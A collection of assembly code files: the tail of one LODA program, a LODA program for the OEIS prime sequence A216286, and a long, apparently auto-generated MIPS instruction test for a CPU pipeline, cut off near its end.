sub $0,1
add $3,2
div $3,2
mod $3,6
add $3,1
lpe
add $3,1
add $1,$3
lpe
|
; A216286: Primes which cannot be written as x^2+5*y^2, where x > 0, y > 0.
; Submitted by Jon Maiga
; 2,3,5,7,11,13,17,19,23,31,37,43,47,53,59,67,71,73,79,83,97,103,107,113,127,131,137,139,151,157,163,167,173,179,191,193,197,199,211,223,227,233,239,251,257,263,271,277,283,293,307,311,313,317,331,337,347,353,359,367,373,379,383,397,419
mov $2,332202
lpb $2
mov $3,$6
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,10
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,18
div $5,2
add $5,$1
div $5,7
mov $6,$5
lpe
mov $0,$5
add $0,1
|
ori $1, $0, 2
ori $2, $0, 4
ori $3, $0, 7
ori $4, $0, 8
sw $3, 0($0)
sw $2, 4($0)
sw $4, 8($0)
sw $2, 12($0)
sw $3, 16($0)
sw $1, 20($0)
sw $3, 24($0)
sw $4, 28($0)
sw $3, 32($0)
sw $3, 36($0)
sw $1, 40($0)
sw $2, 44($0)
sw $2, 48($0)
sw $1, 52($0)
sw $3, 56($0)
sw $4, 60($0)
sw $3, 64($0)
sw $4, 68($0)
sw $1, 72($0)
sw $1, 76($0)
sw $4, 80($0)
sw $3, 84($0)
sw $4, 88($0)
sw $2, 92($0)
sw $4, 96($0)
sw $4, 100($0)
sw $1, 104($0)
sw $4, 108($0)
sw $4, 112($0)
sw $1, 116($0)
sw $2, 120($0)
sw $2, 124($0)
lui $3, 9
addiu $4, $2, 10
lui $2, 7
bne $2, $2, TAG1
TAG1:
addiu $4, $2, 14
mult $2, $2
sll $0, $0, 0
srav $2, $4, $2
TAG2:
mfhi $2
sll $1, $2, 14
multu $2, $1
mthi $2
TAG3:
mfhi $2
sll $0, $0, 0
sb $1, 0($2)
div $3, $1
TAG4:
sll $0, $0, 0
mflo $1
srlv $3, $3, $3
lb $2, 0($1)
TAG5:
bne $2, $2, TAG6
addiu $2, $2, 13
mflo $1
mthi $1
TAG6:
mflo $2
mfhi $3
mfhi $1
beq $3, $1, TAG7
TAG7:
sw $1, 0($1)
lw $2, 0($1)
sb $1, 0($1)
mfhi $4
TAG8:
mult $4, $4
sh $4, 0($4)
lb $1, 0($4)
mfhi $2
TAG9:
mthi $2
lb $3, 0($2)
beq $2, $3, TAG10
mflo $3
TAG10:
sb $3, 0($3)
multu $3, $3
blez $3, TAG11
sb $3, 0($3)
TAG11:
lui $1, 15
bltz $1, TAG12
mult $1, $3
bne $1, $3, TAG12
TAG12:
srlv $3, $1, $1
xori $2, $3, 3
xor $2, $3, $2
mtlo $2
TAG13:
sb $2, 0($2)
srav $4, $2, $2
bne $2, $4, TAG14
mfhi $2
TAG14:
lui $4, 0
sw $2, 0($2)
mfhi $4
mflo $3
TAG15:
mfhi $1
lui $4, 13
sll $0, $0, 0
mflo $4
TAG16:
mult $4, $4
lbu $3, 0($4)
lui $2, 1
mult $2, $2
TAG17:
bne $2, $2, TAG18
mtlo $2
multu $2, $2
mult $2, $2
TAG18:
sll $0, $0, 0
mflo $3
sllv $4, $2, $2
lui $3, 6
TAG19:
mflo $4
lbu $1, 0($4)
lui $3, 15
mfhi $3
TAG20:
lbu $2, 0($3)
mult $3, $3
lbu $3, 0($3)
lui $2, 7
TAG21:
mfhi $2
lbu $1, 0($2)
mult $2, $1
beq $2, $1, TAG22
TAG22:
lui $1, 7
sll $0, $0, 0
bne $1, $1, TAG23
sll $0, $0, 0
TAG23:
sll $0, $0, 0
mflo $4
srl $4, $3, 0
multu $3, $4
TAG24:
mflo $2
sw $2, 0($2)
andi $3, $4, 1
bgez $4, TAG25
TAG25:
sh $3, 0($3)
sh $3, 0($3)
blez $3, TAG26
multu $3, $3
TAG26:
beq $3, $3, TAG27
slt $4, $3, $3
lui $4, 5
divu $4, $4
TAG27:
mtlo $4
and $2, $4, $4
mthi $2
multu $4, $2
TAG28:
addi $4, $2, 10
lui $2, 14
bne $2, $4, TAG29
sll $0, $0, 0
TAG29:
bltz $1, TAG30
mult $1, $1
multu $1, $1
bne $1, $1, TAG30
TAG30:
mtlo $1
sll $0, $0, 0
blez $1, TAG31
lui $4, 0
TAG31:
mtlo $4
beq $4, $4, TAG32
mfhi $1
beq $4, $1, TAG32
TAG32:
addiu $3, $1, 14
sllv $2, $3, $3
nor $1, $3, $1
beq $2, $3, TAG33
TAG33:
srlv $2, $1, $1
lhu $2, 64($2)
mult $2, $2
sra $2, $2, 6
TAG34:
addi $1, $2, 10
or $1, $2, $2
sw $2, 0($2)
mtlo $2
TAG35:
andi $4, $1, 4
mfhi $4
lbu $3, 0($1)
lui $2, 2
TAG36:
bne $2, $2, TAG37
sll $0, $0, 0
mthi $2
blez $2, TAG37
TAG37:
sll $3, $2, 6
multu $3, $3
or $1, $3, $3
sll $0, $0, 0
TAG38:
sll $0, $0, 0
beq $1, $3, TAG39
mfhi $2
or $1, $1, $3
TAG39:
xori $3, $1, 15
beq $1, $3, TAG40
lui $2, 14
blez $1, TAG40
TAG40:
lui $1, 11
bgtz $2, TAG41
lui $4, 4
and $3, $2, $1
TAG41:
beq $3, $3, TAG42
mflo $2
mflo $3
sh $2, 0($2)
TAG42:
div $3, $3
lui $4, 5
sll $4, $3, 8
addu $4, $4, $4
TAG43:
beq $4, $4, TAG44
mflo $4
beq $4, $4, TAG44
mthi $4
TAG44:
lb $1, 0($4)
lb $1, 0($4)
xor $2, $1, $4
sb $1, 0($1)
TAG45:
lui $3, 10
sllv $3, $3, $3
lui $3, 2
srav $4, $3, $3
TAG46:
sll $0, $0, 0
bltz $4, TAG47
sll $0, $0, 0
mflo $4
TAG47:
srlv $4, $4, $4
mult $4, $4
mfhi $2
lui $4, 12
TAG48:
bltz $4, TAG49
lui $4, 12
sll $0, $0, 0
xor $2, $4, $3
TAG49:
lui $4, 9
mult $4, $2
mflo $3
mtlo $2
TAG50:
lhu $4, 0($3)
lui $3, 2
div $3, $3
mfhi $3
TAG51:
mtlo $3
lui $3, 3
sra $1, $3, 8
lui $1, 5
TAG52:
slti $2, $1, 14
lhu $2, 0($2)
lui $2, 2
sll $0, $0, 0
TAG53:
sll $0, $0, 0
lhu $3, 0($4)
bne $3, $3, TAG54
mtlo $3
TAG54:
lhu $2, 0($3)
bgtz $2, TAG55
mtlo $2
mfhi $2
TAG55:
mtlo $2
beq $2, $2, TAG56
mflo $2
lbu $3, 0($2)
TAG56:
lui $3, 3
sll $0, $0, 0
mfhi $2
multu $1, $1
TAG57:
mtlo $2
mfhi $3
lb $4, 0($2)
andi $2, $3, 8
TAG58:
mfhi $3
addiu $1, $3, 7
srlv $2, $3, $3
srlv $1, $2, $1
TAG59:
sb $1, 0($1)
lh $2, 0($1)
mult $2, $1
sw $1, 0($1)
TAG60:
addiu $3, $2, 10
sb $3, 0($3)
lui $2, 4
sltu $2, $2, $2
TAG61:
mthi $2
mthi $2
mult $2, $2
bgtz $2, TAG62
TAG62:
mult $2, $2
bne $2, $2, TAG63
lhu $1, 0($2)
sh $2, 0($2)
TAG63:
sw $1, 0($1)
mthi $1
mthi $1
bgtz $1, TAG64
TAG64:
sw $1, 0($1)
lui $4, 9
lui $3, 1
divu $4, $3
TAG65:
multu $3, $3
div $3, $3
bgez $3, TAG66
lui $1, 4
TAG66:
mflo $2
mfhi $3
bgez $2, TAG67
mtlo $1
TAG67:
sb $3, 0($3)
bne $3, $3, TAG68
sb $3, 0($3)
bgez $3, TAG68
TAG68:
sw $3, 0($3)
mflo $4
lui $4, 0
and $4, $4, $3
TAG69:
mflo $2
sltiu $3, $4, 0
sll $0, $0, 0
blez $2, TAG70
TAG70:
multu $2, $2
bne $2, $2, TAG71
srlv $4, $2, $2
blez $2, TAG71
TAG71:
multu $4, $4
sll $0, $0, 0
lui $1, 0
beq $1, $1, TAG72
TAG72:
mthi $1
sw $1, 0($1)
subu $2, $1, $1
mthi $2
TAG73:
sh $2, 0($2)
addiu $4, $2, 6
sh $2, 0($4)
srlv $3, $2, $2
TAG74:
multu $3, $3
lb $1, 0($3)
sb $1, 0($3)
multu $3, $3
TAG75:
lui $4, 7
lui $1, 11
lui $2, 11
bne $1, $1, TAG76
TAG76:
lui $2, 11
lui $2, 14
srl $3, $2, 15
lui $3, 9
TAG77:
nor $1, $3, $3
mthi $1
bne $3, $3, TAG78
sll $0, $0, 0
TAG78:
mfhi $4
slt $1, $4, $4
add $2, $1, $4
blez $2, TAG79
TAG79:
addu $4, $2, $2
mthi $4
slti $4, $4, 14
lui $4, 8
TAG80:
sll $0, $0, 0
or $3, $4, $4
sll $0, $0, 0
div $3, $3
TAG81:
mfhi $2
addiu $2, $3, 4
bgtz $2, TAG82
mflo $2
TAG82:
lb $3, 0($2)
lh $1, 0($3)
mfhi $2
mflo $3
TAG83:
bne $3, $3, TAG84
mult $3, $3
lui $3, 8
bltz $3, TAG84
TAG84:
sltiu $2, $3, 8
sll $0, $0, 0
xor $2, $2, $3
bne $3, $2, TAG85
TAG85:
sltiu $3, $2, 5
sb $3, 0($3)
bgez $2, TAG86
sub $4, $3, $3
TAG86:
bgtz $4, TAG87
lb $2, 0($4)
mfhi $2
mult $2, $2
TAG87:
sb $2, 0($2)
mfhi $1
sltiu $1, $2, 14
sra $1, $1, 3
TAG88:
mflo $2
bgez $2, TAG89
mult $2, $1
sra $3, $1, 14
TAG89:
sltu $4, $3, $3
sh $3, 0($3)
multu $3, $3
mtlo $4
TAG90:
bgtz $4, TAG91
lh $3, 0($4)
lui $1, 14
blez $3, TAG91
TAG91:
sll $0, $0, 0
multu $1, $1
sll $0, $0, 0
lh $1, 0($2)
TAG92:
bne $1, $1, TAG93
mfhi $3
mthi $1
mflo $2
TAG93:
lui $1, 3
lhu $1, 0($2)
bne $1, $1, TAG94
lh $3, 0($2)
TAG94:
sll $1, $3, 6
srl $3, $1, 6
sh $1, 0($3)
bne $1, $1, TAG95
TAG95:
mthi $3
bgez $3, TAG96
mtlo $3
srlv $1, $3, $3
TAG96:
mflo $3
bgtz $3, TAG97
mflo $4
addiu $4, $1, 8
TAG97:
lhu $4, 0($4)
lb $3, 0($4)
bltz $4, TAG98
mult $3, $3
TAG98:
bgez $3, TAG99
sw $3, 0($3)
xori $4, $3, 0
sllv $4, $4, $4
TAG99:
mthi $4
lb $1, 0($4)
lbu $2, 0($1)
mfhi $2
TAG100:
bltz $2, TAG101
mtlo $2
divu $2, $2
sra $4, $2, 12
TAG101:
bne $4, $4, TAG102
mult $4, $4
lbu $1, 0($4)
bgez $1, TAG102
TAG102:
mfhi $2
sw $1, 0($1)
lw $4, 0($1)
lui $2, 0
TAG103:
lui $1, 7
bltz $2, TAG104
divu $2, $1
bne $1, $2, TAG104
TAG104:
div $1, $1
beq $1, $1, TAG105
mtlo $1
beq $1, $1, TAG105
TAG105:
sltu $4, $1, $1
bne $1, $1, TAG106
mult $1, $4
mthi $1
TAG106:
blez $4, TAG107
sb $4, 0($4)
sb $4, 0($4)
nor $4, $4, $4
TAG107:
beq $4, $4, TAG108
mthi $4
div $4, $4
slt $3, $4, $4
TAG108:
xori $2, $3, 10
mfhi $4
subu $1, $2, $3
bgtz $4, TAG109
TAG109:
sh $1, 6($1)
bltz $1, TAG110
sw $1, 6($1)
lhu $2, 0($1)
TAG110:
mfhi $1
lui $2, 13
addu $3, $2, $2
lui $2, 4
TAG111:
mthi $2
mtlo $2
beq $2, $2, TAG112
mflo $4
TAG112:
beq $4, $4, TAG113
mfhi $4
add $2, $4, $4
mthi $4
TAG113:
bne $2, $2, TAG114
srlv $4, $2, $2
and $1, $4, $4
subu $4, $2, $1
TAG114:
mtlo $4
mult $4, $4
sb $4, 0($4)
beq $4, $4, TAG115
TAG115:
lhu $1, 0($4)
mthi $1
bne $1, $1, TAG116
sll $0, $0, 0
TAG116:
mthi $1
ori $1, $1, 10
srl $3, $1, 14
sb $1, 0($3)
TAG117:
mflo $1
srl $1, $3, 10
mflo $2
beq $3, $3, TAG118
TAG118:
mflo $4
lui $3, 13
bgez $3, TAG119
ori $3, $3, 6
TAG119:
sll $0, $0, 0
divu $3, $3
subu $1, $3, $3
bgtz $3, TAG120
TAG120:
sw $1, 0($1)
addi $1, $1, 12
lui $3, 11
beq $1, $1, TAG121
TAG121:
lui $2, 7
sll $0, $0, 0
lui $4, 8
srav $1, $4, $2
TAG122:
bgez $1, TAG123
lui $1, 3
addu $2, $1, $1
lhu $1, 0($1)
TAG123:
bltz $1, TAG124
slt $1, $1, $1
lw $1, 0($1)
bgez $1, TAG124
TAG124:
mthi $1
and $2, $1, $1
lui $1, 8
sltu $1, $1, $1
TAG125:
or $4, $1, $1
mflo $3
mflo $4
lui $1, 4
TAG126:
sll $0, $0, 0
andi $2, $2, 10
lw $3, 0($2)
blez $2, TAG127
TAG127:
mflo $2
lui $4, 7
lui $3, 10
blez $3, TAG128
TAG128:
div $3, $3
mtlo $3
sll $0, $0, 0
srl $1, $3, 14
TAG129:
addiu $2, $1, 15
sll $1, $2, 13
mflo $1
lb $1, 0($2)
TAG130:
slti $4, $1, 5
ori $2, $1, 8
addiu $4, $1, 13
mflo $1
TAG131:
sll $0, $0, 0
and $3, $1, $1
sll $0, $0, 0
mthi $3
TAG132:
mflo $4
mtlo $3
divu $3, $4
sra $4, $4, 4
TAG133:
addu $1, $4, $4
ori $1, $4, 6
slt $1, $1, $1
sll $0, $0, 0
TAG134:
mtlo $2
sb $2, 0($2)
bltz $2, TAG135
mtlo $2
TAG135:
sh $2, 0($2)
bltz $2, TAG136
mfhi $1
mtlo $1
TAG136:
add $2, $1, $1
mult $1, $1
mfhi $1
lui $3, 9
TAG137:
lui $2, 1
mfhi $2
lh $4, 0($2)
bltz $4, TAG138
TAG138:
sh $4, 0($4)
addi $2, $4, 9
bgez $2, TAG139
slt $1, $2, $4
TAG139:
sb $1, 0($1)
sll $1, $1, 12
or $1, $1, $1
mult $1, $1
TAG140:
multu $1, $1
bne $1, $1, TAG141
sllv $2, $1, $1
sllv $1, $1, $2
TAG141:
lui $4, 2
sll $0, $0, 0
bltz $3, TAG142
lb $2, 0($1)
TAG142:
bne $2, $2, TAG143
slti $3, $2, 14
sb $3, 0($3)
multu $2, $2
TAG143:
bgtz $3, TAG144
lb $3, 0($3)
mfhi $4
sltu $3, $3, $4
TAG144:
bltz $3, TAG145
sb $3, 0($3)
mfhi $2
beq $3, $2, TAG145
TAG145:
multu $2, $2
lui $4, 1
bne $4, $2, TAG146
add $1, $2, $4
TAG146:
mflo $2
sh $2, 0($2)
bltz $2, TAG147
lui $1, 15
TAG147:
sll $0, $0, 0
xor $2, $1, $1
mfhi $2
ori $4, $1, 13
TAG148:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
multu $2, $2
TAG149:
lb $2, 0($2)
sw $2, 0($2)
lui $4, 1
sh $4, 0($2)
TAG150:
subu $3, $4, $4
addiu $2, $4, 8
blez $3, TAG151
div $4, $4
TAG151:
addiu $3, $2, 8
bne $3, $3, TAG152
srav $4, $3, $2
mfhi $2
TAG152:
lhu $1, 0($2)
mult $2, $2
lui $4, 15
beq $1, $1, TAG153
TAG153:
mfhi $1
mult $1, $1
addiu $3, $1, 7
mthi $4
TAG154:
sb $3, 0($3)
lbu $4, 0($3)
lui $2, 10
lui $1, 9
TAG155:
mflo $3
sra $2, $1, 14
sll $0, $0, 0
sb $3, 0($4)
TAG156:
lbu $3, 0($4)
mflo $3
slti $4, $3, 7
mtlo $3
TAG157:
sb $4, 0($4)
slt $3, $4, $4
lbu $2, 0($3)
sw $2, 0($2)
TAG158:
mtlo $2
blez $2, TAG159
multu $2, $2
mtlo $2
TAG159:
sb $2, 0($2)
add $4, $2, $2
subu $3, $2, $4
bne $4, $3, TAG160
TAG160:
lbu $3, 0($3)
sltiu $4, $3, 9
mult $3, $3
beq $3, $3, TAG161
TAG161:
subu $3, $4, $4
lui $4, 15
xori $1, $3, 9
mtlo $1
TAG162:
divu $1, $1
mflo $2
divu $2, $2
divu $2, $2
TAG163:
slti $4, $2, 15
addu $4, $4, $2
andi $3, $4, 5
mthi $4
TAG164:
sb $3, 0($3)
lui $2, 6
addiu $3, $3, 5
sll $0, $0, 0
TAG165:
lui $1, 3
mtlo $1
bltz $1, TAG166
sll $0, $0, 0
TAG166:
slt $2, $1, $1
addu $4, $1, $2
sltu $1, $4, $1
lbu $1, 0($1)
TAG167:
blez $1, TAG168
lui $1, 3
ori $4, $1, 13
lui $3, 11
TAG168:
bltz $3, TAG169
andi $1, $3, 3
div $3, $3
mtlo $1
TAG169:
mthi $1
mflo $1
lb $2, 0($1)
sb $1, 0($1)
TAG170:
bne $2, $2, TAG171
sub $1, $2, $2
srav $1, $1, $1
bne $2, $1, TAG171
TAG171:
lui $2, 10
mfhi $1
srav $2, $1, $1
mthi $1
TAG172:
lh $2, 0($2)
mflo $2
beq $2, $2, TAG173
xor $1, $2, $2
TAG173:
lb $3, 0($1)
xor $4, $1, $3
mflo $2
beq $2, $1, TAG174
TAG174:
lui $3, 3
srav $1, $3, $2
sll $0, $0, 0
mflo $3
TAG175:
lbu $4, 0($3)
lb $1, 0($4)
sb $1, 0($1)
mthi $1
TAG176:
lui $4, 13
lui $3, 1
beq $4, $4, TAG177
sll $0, $0, 0
TAG177:
multu $3, $3
subu $1, $3, $3
lui $1, 0
mult $3, $1
TAG178:
mfhi $4
sh $1, 0($4)
sra $4, $1, 13
bgez $1, TAG179
TAG179:
mthi $4
slti $1, $4, 7
sra $3, $1, 10
mflo $3
TAG180:
addiu $1, $3, 13
lui $3, 14
sll $0, $0, 0
mfhi $1
TAG181:
mult $1, $1
bgtz $1, TAG182
mult $1, $1
ori $3, $1, 1
TAG182:
lbu $1, 0($3)
beq $3, $1, TAG183
mtlo $3
slt $3, $1, $1
TAG183:
bgtz $3, TAG184
mfhi $2
mthi $3
sb $3, 0($3)
TAG184:
lui $2, 9
srlv $3, $2, $2
srl $1, $2, 9
lui $1, 2
TAG185:
srav $1, $1, $1
div $1, $1
bgez $1, TAG186
sll $1, $1, 14
TAG186:
xor $2, $1, $1
mfhi $2
sw $1, 0($2)
addu $2, $2, $2
TAG187:
lb $1, 0($2)
sltu $3, $1, $2
sh $3, 0($2)
sltiu $3, $2, 8
TAG188:
bgtz $3, TAG189
lui $1, 0
lh $4, 0($1)
lui $3, 6
TAG189:
blez $3, TAG190
multu $3, $3
lbu $2, 0($3)
lw $1, 0($2)
TAG190:
sll $0, $0, 0
bne $1, $1, TAG191
sll $0, $0, 0
lui $1, 2
TAG191:
bne $1, $1, TAG192
mtlo $1
mfhi $3
mfhi $1
TAG192:
andi $2, $1, 6
sw $1, 0($1)
sb $2, 0($1)
sltiu $3, $2, 11
TAG193:
bltz $3, TAG194
mthi $3
sb $3, 0($3)
mfhi $1
TAG194:
blez $1, TAG195
sltiu $4, $1, 4
mfhi $4
bgez $4, TAG195
TAG195:
mthi $4
mult $4, $4
beq $4, $4, TAG196
lui $2, 9
TAG196:
lui $4, 10
sltu $4, $2, $2
mflo $1
mtlo $1
TAG197:
mfhi $1
lw $2, 0($1)
multu $1, $1
slti $3, $2, 2
TAG198:
lui $1, 6
xor $3, $1, $3
andi $4, $3, 15
mthi $3
TAG199:
mthi $4
lbu $1, 0($4)
lhu $3, 0($4)
bgez $1, TAG200
TAG200:
sll $0, $0, 0
sra $2, $2, 7
mfhi $4
srav $3, $4, $2
TAG201:
beq $3, $3, TAG202
mfhi $2
srav $4, $2, $2
sltiu $3, $2, 12
TAG202:
mfhi $3
mtlo $3
mflo $1
sw $1, 0($3)
TAG203:
multu $1, $1
sb $1, 0($1)
bne $1, $1, TAG204
sb $1, 0($1)
TAG204:
srl $1, $1, 15
bgez $1, TAG205
mfhi $2
beq $2, $1, TAG205
TAG205:
slti $4, $2, 9
div $4, $4
or $4, $4, $4
sb $4, 0($4)
TAG206:
mthi $4
lui $3, 0
mthi $4
sb $3, 0($4)
TAG207:
bltz $3, TAG208
mflo $3
mthi $3
addiu $3, $3, 0
TAG208:
mfhi $3
lbu $3, 0($3)
blez $3, TAG209
mfhi $4
TAG209:
addu $2, $4, $4
sb $4, 0($4)
sb $4, 0($4)
nor $2, $4, $2
TAG210:
xor $2, $2, $2
lbu $2, 0($2)
lb $4, 0($2)
bne $2, $2, TAG211
TAG211:
mflo $2
blez $4, TAG212
lbu $4, 0($2)
blez $2, TAG212
TAG212:
mthi $4
blez $4, TAG213
lui $1, 14
lb $2, 0($4)
TAG213:
mthi $2
xor $4, $2, $2
and $4, $4, $2
and $2, $4, $2
TAG214:
sb $2, 0($2)
ori $2, $2, 9
mthi $2
lui $3, 5
TAG215:
mult $3, $3
sll $0, $0, 0
sll $0, $0, 0
mthi $3
TAG216:
sltiu $2, $3, 1
mthi $2
lui $1, 6
sll $0, $0, 0
TAG217:
sll $0, $0, 0
blez $1, TAG218
mtlo $1
sll $1, $1, 8
TAG218:
lui $4, 3
sll $0, $0, 0
mtlo $1
mflo $1
TAG219:
bne $1, $1, TAG220
and $3, $1, $1
subu $4, $3, $3
bne $4, $4, TAG220
TAG220:
sb $4, 0($4)
bgtz $4, TAG221
lui $2, 8
bgez $2, TAG221
TAG221:
mtlo $2
div $2, $2
lui $4, 15
mtlo $4
TAG222:
addu $4, $4, $4
sll $0, $0, 0
lui $3, 12
sltu $1, $4, $3
TAG223:
beq $1, $1, TAG224
multu $1, $1
slti $2, $1, 12
slt $4, $1, $1
TAG224:
sra $1, $4, 4
beq $4, $4, TAG225
sll $0, $0, 0
lb $4, 0($1)
TAG225:
lui $4, 4
lui $3, 7
mtlo $4
mthi $4
TAG226:
div $3, $3
bgtz $3, TAG227
srl $3, $3, 8
sb $3, 0($3)
TAG227:
sw $3, -1792($3)
lui $3, 9
xor $1, $3, $3
beq $3, $1, TAG228
TAG228:
multu $1, $1
mthi $1
mflo $2
bltz $2, TAG229
TAG229:
mult $2, $2
sltiu $3, $2, 14
lui $2, 4
sb $3, 0($3)
TAG230:
mflo $4
lui $3, 9
mtlo $2
mfhi $4
TAG231:
srlv $2, $4, $4
srlv $2, $4, $2
subu $4, $2, $2
sltu $4, $2, $4
TAG232:
mtlo $4
mfhi $3
lhu $4, 0($4)
nor $1, $4, $4
TAG233:
mflo $1
mthi $1
bgez $1, TAG234
multu $1, $1
TAG234:
nor $4, $1, $1
mthi $1
mult $1, $1
sh $4, 1($4)
TAG235:
mfhi $2
bgez $2, TAG236
mthi $2
sh $2, 0($4)
TAG236:
mult $2, $2
beq $2, $2, TAG237
sh $2, 0($2)
mthi $2
TAG237:
lbu $1, 0($2)
sh $2, 0($1)
bgez $1, TAG238
addi $2, $1, 13
TAG238:
div $2, $2
blez $2, TAG239
mflo $2
multu $2, $2
TAG239:
addiu $3, $2, 10
div $3, $2
mtlo $2
bgtz $3, TAG240
TAG240:
slti $3, $3, 3
lui $1, 6
sllv $1, $1, $3
bgtz $1, TAG241
TAG241:
mthi $1
mthi $1
sll $0, $0, 0
lui $3, 3
TAG242:
srlv $3, $3, $3
sll $0, $0, 0
mult $3, $3
sltiu $1, $3, 8
TAG243:
lui $1, 9
mtlo $1
sll $0, $0, 0
mult $1, $1
TAG244:
beq $4, $4, TAG245
addiu $2, $4, 10
lhu $1, 0($2)
sra $1, $2, 0
TAG245:
sll $0, $0, 0
sra $3, $1, 9
bne $3, $3, TAG246
lb $3, -1152($3)
TAG246:
mult $3, $3
srl $1, $3, 9
sb $1, 0($1)
mtlo $1
TAG247:
sra $3, $1, 1
mfhi $1
sb $1, 0($1)
sb $3, 0($1)
TAG248:
sh $1, 0($1)
bltz $1, TAG249
lw $4, 0($1)
bgtz $1, TAG249
TAG249:
andi $4, $4, 6
lbu $2, 0($4)
mult $2, $4
addu $4, $4, $4
TAG250:
mtlo $4
mfhi $1
xori $1, $1, 12
mult $4, $1
TAG251:
bgez $1, TAG252
mflo $1
lui $1, 10
sh $1, 0($1)
TAG252:
lui $1, 4
beq $1, $1, TAG253
mult $1, $1
sh $1, 0($1)
TAG253:
sll $0, $0, 0
srl $2, $1, 3
beq $2, $1, TAG254
sll $0, $0, 0
TAG254:
srl $4, $2, 3
sll $0, $0, 0
lui $3, 12
xori $4, $4, 3
TAG255:
sll $0, $0, 0
lui $3, 7
bgez $4, TAG256
mtlo $4
TAG256:
xor $2, $3, $3
sll $0, $0, 0
multu $4, $3
sllv $4, $4, $4
TAG257:
beq $4, $4, TAG258
sltiu $1, $4, 13
mthi $1
bne $4, $4, TAG258
TAG258:
sh $1, 0($1)
andi $4, $1, 4
mthi $1
beq $1, $1, TAG259
TAG259:
mult $4, $4
sb $4, 0($4)
mult $4, $4
srl $1, $4, 6
TAG260:
mflo $1
beq $1, $1, TAG261
multu $1, $1
mflo $4
TAG261:
mfhi $3
bne $4, $3, TAG262
srlv $2, $3, $4
slti $4, $2, 0
TAG262:
bgtz $4, TAG263
mthi $4
sltu $4, $4, $4
mflo $4
TAG263:
sw $4, 0($4)
slti $1, $4, 11
lb $4, 0($1)
sh $4, 0($4)
TAG264:
lw $3, 0($4)
sh $4, 0($4)
lui $4, 9
addiu $4, $3, 3
TAG265:
mfhi $3
sltiu $1, $4, 15
lui $4, 0
mult $1, $3
TAG266:
mtlo $4
sh $4, 0($4)
mult $4, $4
blez $4, TAG267
TAG267:
lbu $1, 0($4)
sll $2, $4, 1
sltiu $4, $4, 13
divu $1, $4
TAG268:
bne $4, $4, TAG269
mflo $4
multu $4, $4
lhu $3, 0($4)
TAG269:
lui $3, 10
srav $1, $3, $3
sll $2, $1, 14
mflo $4
TAG270:
mthi $4
multu $4, $4
slt $4, $4, $4
lw $3, 0($4)
TAG271:
mfhi $3
mtlo $3
slt $3, $3, $3
andi $2, $3, 0
TAG272:
lb $3, 0($2)
mfhi $2
sb $3, 0($2)
lui $3, 10
TAG273:
bgtz $3, TAG274
sll $0, $0, 0
sra $4, $3, 14
lb $4, 0($3)
TAG274:
bgez $4, TAG275
multu $4, $4
multu $4, $4
bne $4, $4, TAG275
TAG275:
srlv $4, $4, $4
mult $4, $4
sw $4, 0($4)
sh $4, 0($4)
TAG276:
addiu $2, $4, 14
lui $2, 5
mthi $2
beq $4, $2, TAG277
TAG277:
mflo $1
sh $1, 0($1)
srl $1, $1, 11
sh $2, 0($1)
TAG278:
bgtz $1, TAG279
multu $1, $1
lui $2, 2
srl $3, $2, 5
TAG279:
sra $4, $3, 10
srl $1, $3, 7
bne $3, $4, TAG280
mflo $4
TAG280:
lhu $4, 0($4)
mflo $4
addiu $4, $4, 2
subu $3, $4, $4
TAG281:
mthi $3
bgez $3, TAG282
multu $3, $3
lw $1, 0($3)
TAG282:
lui $1, 0
mflo $2
beq $1, $1, TAG283
lbu $2, 0($1)
TAG283:
and $1, $2, $2
lui $2, 7
lbu $3, 0($1)
lb $1, 0($3)
TAG284:
lh $1, 0($1)
beq $1, $1, TAG285
lui $2, 8
srl $4, $1, 5
TAG285:
lui $3, 13
sll $0, $0, 0
beq $4, $4, TAG286
lui $3, 1
TAG286:
beq $3, $3, TAG287
addiu $2, $3, 0
lw $4, 0($3)
nor $2, $4, $3
TAG287:
nor $2, $2, $2
divu $2, $2
mult $2, $2
beq $2, $2, TAG288
TAG288:
mfhi $4
sll $0, $0, 0
srlv $2, $4, $4
bgtz $2, TAG289
TAG289:
sub $1, $2, $2
lui $3, 1
lui $2, 5
lbu $2, 0($1)
TAG290:
mthi $2
blez $2, TAG291
mthi $2
sb $2, 0($2)
TAG291:
bne $2, $2, TAG292
xori $4, $2, 7
blez $4, TAG292
multu $2, $4
TAG292:
beq $4, $4, TAG293
xori $2, $4, 11
sh $4, 0($2)
lbu $4, 0($2)
TAG293:
lbu $1, 0($4)
mthi $4
sb $4, 0($4)
lui $2, 8
TAG294:
sll $0, $0, 0
mflo $1
sltiu $2, $1, 14
bgez $2, TAG295
TAG295:
mthi $2
lui $1, 10
sll $0, $0, 0
lui $4, 12
TAG296:
sltu $2, $4, $4
sltiu $2, $4, 2
mflo $1
lw $2, 0($1)
TAG297:
andi $3, $2, 13
sh $3, 0($3)
sltu $4, $2, $2
mthi $2
TAG298:
nor $4, $4, $4
lb $4, 1($4)
mflo $3
blez $4, TAG299
TAG299:
lui $3, 8
mflo $2
sll $1, $2, 0
srlv $3, $1, $3
TAG300:
addi $4, $3, 10
ori $4, $4, 1
sb $4, 0($3)
lb $4, 0($4)
TAG301:
srlv $3, $4, $4
multu $3, $4
sb $3, 0($3)
bgez $4, TAG302
TAG302:
sllv $3, $3, $3
bgez $3, TAG303
mfhi $1
srav $3, $3, $3
TAG303:
sh $3, 0($3)
mfhi $3
lui $1, 13
lui $1, 4
TAG304:
div $1, $1
mthi $1
mflo $3
subu $2, $3, $3
TAG305:
xori $3, $2, 7
addu $1, $3, $2
divu $3, $3
lw $4, 0($2)
TAG306:
lui $2, 14
lui $1, 1
mflo $4
bne $4, $1, TAG307
TAG307:
mthi $4
mflo $4
mthi $4
div $4, $4
TAG308:
lb $3, 0($4)
beq $3, $4, TAG309
subu $2, $3, $4
beq $2, $2, TAG309
TAG309:
sb $2, 1($2)
sw $2, 1($2)
beq $2, $2, TAG310
srl $3, $2, 15
TAG310:
beq $3, $3, TAG311
div $3, $3
lui $1, 13
lui $2, 6
TAG311:
mthi $2
lui $1, 11
sll $0, $0, 0
bne $2, $2, TAG312
TAG312:
sll $0, $0, 0
slt $2, $1, $1
mthi $2
sw $4, 0($2)
TAG313:
mthi $2
sll $4, $2, 14
mthi $4
lhu $3, 0($4)
TAG314:
mtlo $3
mtlo $3
multu $3, $3
multu $3, $3
TAG315:
srlv $4, $3, $3
blez $3, TAG316
sllv $3, $4, $4
lui $4, 8
TAG316:
addu $2, $4, $4
bne $4, $4, TAG317
